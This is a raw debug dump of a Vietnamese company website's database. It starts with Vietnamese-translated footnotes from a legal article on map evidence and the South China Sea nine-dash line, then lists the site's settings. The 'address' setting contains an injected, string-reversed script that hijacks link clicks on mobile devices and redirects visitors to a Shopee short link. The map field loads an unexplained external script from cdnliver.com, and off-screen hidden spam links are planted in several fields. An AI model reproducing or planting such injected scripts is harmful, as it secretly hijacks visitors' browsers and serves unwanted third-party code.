80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( 